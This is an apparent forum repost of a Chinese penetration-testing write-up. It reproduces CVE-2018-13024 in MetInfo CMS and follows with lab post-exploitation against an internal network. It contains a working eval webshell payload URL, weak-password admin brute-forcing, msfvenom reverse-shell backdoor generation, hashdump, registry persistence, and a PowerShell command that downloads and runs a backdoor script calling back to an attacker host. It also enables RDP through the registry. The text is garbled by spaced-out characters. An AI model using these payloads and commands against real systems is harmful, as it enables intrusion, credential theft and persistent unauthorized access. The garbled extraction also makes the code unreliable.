搜索

[13646] 2019-01-13_CVE-2018-13024复现及一次简单的内网渗透

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2019-01-13_CVE-2018-13024复现及一次简单的内网渗透 C V E - 2 0 1 8 - 1 3 0 2 4 复 现 及 一 次 简 单 的 内 网 渗 透 原 创   t w o s m i 1 e   F r e e B u f   2 0 1 9 - 0 1 - 1 3 0 x 0 0   环 境 搭 建 环 境 搭 建 攻 击 机 ： k a l i   l i n u x 及 W i n d o w s 1 0 ( 本 机 ) 边 缘 机 ： W i n d o w s   2 0 0 3   公 网 I P ： 1 9 2 . 1 6 8 . 6 1 . 1 4 0   内 网 I P ： 1 9 2 . 1 6 8 . 1 2 9 . 1 3 9 靶 机 ： W i n d o w s   2 0 0 8   内 网 I P 1 9 2 . 1 6 8 . 1 2 9 . 1 3 0 0 x 0 1   引 言 引 言 漏 洞 概 述 漏 洞 概 述 M e t I n f o 是 中 国 米 拓 信 息 技 术 有 限 公 司 的 一 套 使 用 P H P 和 M y s q l 开 发 的 内 容 管 理 系 统 （ C M S ） 。 M e t i n f o   6 . 0 . 0 版 本 中 存 在 安 全 漏 洞 。 远 程 攻 击 者 可 通 过 向 a d m i n / c o l u m n / s a v e . p h p 文 件 发 送 ‘ m o d u l e ’ 参 数 利 用 该 漏 洞 向 . p h p 文 件 写 入 代 码 并 执 行 该 代 码 。 影 响 版 本 影 响 版 本 M e t I n f o   5 . 3 . 1 6 M e t I n f o   6 . 0 . 0 漏 洞 分 析 漏 洞 分 析 漏 洞 发 生 在 m e t i n f o 6 . 0 . 0 a d m i n c o l u m n s a v e . p h p 的 c o l u m n _ c o p y c o n f i g 函 数 。
跟 进 ： 跟 进 ： c o l u m n _ c o p y c o n f i g C o p y i n d x ( )
可 以 看 到 这 里 将 变 量 直 接 写 入 了 文 件 中 ， 而 变 量 一 直 可 以 追 溯 到 c o l u m n _ c o p y c o n f i g 的 变 量 而 m e t i n f o 一 个 经 典 的 伪 全 局 变 量 覆 盖 ， 在 中 。 这 样 我 们 可 以 通 过 传 入 g e t 参 数 ， 覆 盖 $ m o d u l e 变 量 ， 导 致 任 意 文 件 写 入 。 0 x 0 2   边 缘 机 渗 透 边 缘 机 渗 透 信 息 收 集 信 息 收 集 访 问 网 站 ： 进 行 w h o a m i ， 后 台 扫 描 ， 目 录 扫 描 ， 端 口 扫 描 等 常 见 信 息 收 集 ， 通 过 H T T P 报 文 响 应 头 部 可 初 步 判 断 网 站 技 术 架 构 。 / * 复 制 首 页 * / f u n c t i o n   C o p y i n d x ( $ n e w i n d x , $ t y p e ) {         i f ( ! f i l e _ e x i s t s ( $ n e w i n d x ) ) {                 $ o l d c o n t   = " < ? p h p n #   M e t I n f o   E n t e r p r i s e   C o n t e n t   M a n a g e m e n t   S y s t e m   n #   C o p y r i g h t   ( C )   M e t I n f o   C o . , L t d   ( h t t p : / / w w w . m e t i n f o . c n ) .   A l l   r i g h t s   r e s e r v e d .   n $ f i l p y   =   b a s e n a m e ( d i r n a m e ( _ _ F I L E _ _ ) ) ; n $ f m o d u l e = $ t y p e ; n r e q u i r e _ o n c e   ' . . / i n c l u d e / m o d u l e . p h p ' ;   n r e q u i r e _ o n c e   $ m o d u l e ;   n #   T h i s   p r o g r a m   i s   a n   o p e n   s o u r c e   s y s t e m ,   c o m m e r c i a l   u s e ,   p l e a s e   c o n s c i o u s l y   t o   p u r c h a s e   c o m m e r c i a l   l i c e n s e . n #   C o p y r i g h t   ( C )   M e t I n f o   C o . ,   L t d .   ( h t t p : / / w w w . m e t i n f o . c n ) .   A l l   r i g h t s   r e s e r v e d . n ? > " ;                 $ f p   =   f o p e n ( $ n e w i n d x , w ) ;                 f p u t s ( $ f p ,   $ o l d c o n t ) ;                 f c l o s e ( $ f p ) ;         } } $ t y p e $ t y p e $ m o d u l e m e t i n f o 6 . 0 . 0 a d m i n i n c l u d e c o m m o n . i n c . p h p f o r e a c h ( a r r a y ( ' _ C O O K I E ' ,   ' _ P O S T ' ,   ' _ G E T ' )   a s   $ _ r e q u e s t )   {         f o r e a c h ( $ $ _ r e q u e s t   a s   $ _ k e y   = >   $ _ v a l u e )   {                 $ _ k e y { 0 }   ! =   ' _ '   & &   $ $ _ k e y   =   d a d d s l a s h e s ( $ _ v a l u e , 0 , 0 , 1 ) ;                 $ _ M [ ' f o r m ' ] [ $ _ k e y ] = d a d d s l a s h e s ( $ _ v a l u e , 0 , 0 , 1 ) ;         } }
发 现 网 站 为 m e t i n f o 5 . 3 . 1 9 ：   获 取 获 取 w e b s h e l l 查 找 漏 洞 查 找 漏 洞 M e t i n f o 6 . 0 . 0 之 前 版 本 存 在 后 台 g e t s h e l l 漏 洞 ， 登 入 后 台 即 可 使 用 p a y l o a d   g e t s h e l l 。 爆 破 后 台 爆 破 后 台 扫 出 后 台 目 录 为 / a d m i n 弱 口 令 爆 破 a d m i n ， a d m i n 登 入 后 台 。 g e t s h e l l 菜 刀 连 接 菜 刀 连 接 S h e l l 在 u p l o a d 目 录 下 的 i n d e x . p h p ， 使 用 蚁 剑 连 接 。 P a y l o a d : a d m i n / c o l u m n / s a v e . p h p ? n a m e = 1 2 3 & a c t i o n = e d i t o r & f o l d e r n a m e = u p l o a d & m o d u l e = 2 2 ; @ e v a l ( $ _ P O S T [ ' a ' ] ) ; / *
看 一 下 权 限 a d m i n i s t r a t o r ， 不 用 提 权 了 。 使 用 使 用 m s f 进 行 后 渗 透 进 行 后 渗 透 m s f 生 成 后 门 传 到 目 标 机 ： m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 6 1 . 3   - f   e x e > t w o s m i l e . e x e
然 后 用 虚 拟 终 端 运 行 ： 在 k a l i 上 可 以 看 到 s h e l l 反 弹 回 来 ： 查 看 进 程 ： 使
用 迁 移 进 程 ：   域 信 息 收 集 域 信 息 收 集 使 用 域 下 常 见 信 息 收 集 命 令 进 行 信 息 收 集 如 g e t u i d , s y s t e m i n f o , i p c o n f i g a l l , n e t   u s e r , n e t   v i e w 等 等 。 发 现 两 张 网 卡 两 个 I P ， 确 定 有 内 网 无 误 ， 使 用 m s f 进 行 g e t s y s t e m ： 其 他 m s f 信 息 收 集 命 令 ： m i g r a t e
获 取 密 码 获 取 密 码 使 用 m s f ： 失 败 ， 尝 试 h a s h d u m p ： 破 解 h a s h ： 权 限 维 持 权 限 维 持 通 过 M e t e r p r e t e r s h e l l 获 取 持 久 性 s h e l l 的 方 法 有 两 种 ， 这 里 我 使 用 的 是 第 一 种 。 P e r s i s t e n c e 模 块 模 块 r u n   p o s t / w i n d o w s / g a t h e r / c h e c k v m     # 是 否 虚 拟 机 r u n   p o s t / l i n u x / g a t h e r / c h e c k v m     # 是 否 虚 拟 机 r u n   p o s t / w i n d o w s / g a t h e r / f o r e n s i c s / e n u m _ d r i v e s     # 查 看 分 区 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ a p p l i c a t i o n s     # 获 取 安 装 软 件 信 息 r u n   p o s t / w i n d o w s / g a t h e r / d u m p l i n k s     # 获 取 最 近 的 文 件 操 作 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ i e     # 获 取 I E 缓 存 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ c h r o m e     # 获 取 C h r o m e 缓 存 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s     # 补 丁 信 息 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ d o m a i n     # 查 找 域 控 l o a d   m i m i k a t z k e r b e r o s
运 行 ： - U ： 设 置 后 门 在 用 户 登 录 后 自 启 动 。 该 方 式 会 在 H K C U S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n 下 添 加 注 册 表 信 息 。 - i ： 设 置 反 向 连 接 间 隔 时 间 ， 单 位 为 秒 ； - p ： 设 置 反 向 连 接 的 端 口 号 ； - r ： 设 置 反 向 连 接 的 i p 地 址 。 这 样 重 启 后 任 然 会 有 s h e l l 反 弹 。 M e t s v c 模 块 模 块 这 个 模 块 是 直 接 开 启 服 务   监 听 3 1 3 3 7 端 口 利 用 h a n d l e r 下 的 w i n d o w s / m e t s v c _ b i n d _ t c p 模 块 ， 重 新 获 得 s h e l l 。 p o w e r s h e l l 权 限 维 持 权 限 维 持 p o w e r s h e l l 脚 本 ： h t t p s : / / g i t h u b . c o m / r e 4 l i t y / S c h t a s k s - B a c k d o o r   使 用 方 法 见 R e a d m e 文 件 。 1 9 2 . 1 6 8 . 6 1 . 1 4 0   本 地 服 务 器 。 1 9 2 . 1 6 8 . 6 1 . 3   n c 主 机 。 开 启 开 启 3 3 8 9 r u n   p e r s i s t e n c e   - U   - i   1 0   - p   4 4 4 4   - r   1 9 2 . 1 6 8 . 6 1 . 3 p o w e r s h e l l . e x e - e x e c   b y p a s s   - c   " I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 4 0 / I n v o k e - t a s k B a c k d o o r . p s 1 ' ) ; I n v o k e - T a s k s b a c k d o o r - m e t h o d   n c c a t   - i p   1 9 2 . 1 6 8 . 6 1 . 3   - p o r t   5 3   - t i m e   2 "
中 文 会 乱 码 ： 输 入 之 前 抓 到 的 用 户 名 密 码 ： R E G   A D D   " H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l   S e r v e r "   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f R E G   A D D   " H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l   S e r v e r W i n S t a t i o n s R D P - T c p "   / v   P o r t N u m b e r   / t   R E G _ D W O R D   / d   0 x 0 0 0 0 0 d 3 d   / f
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理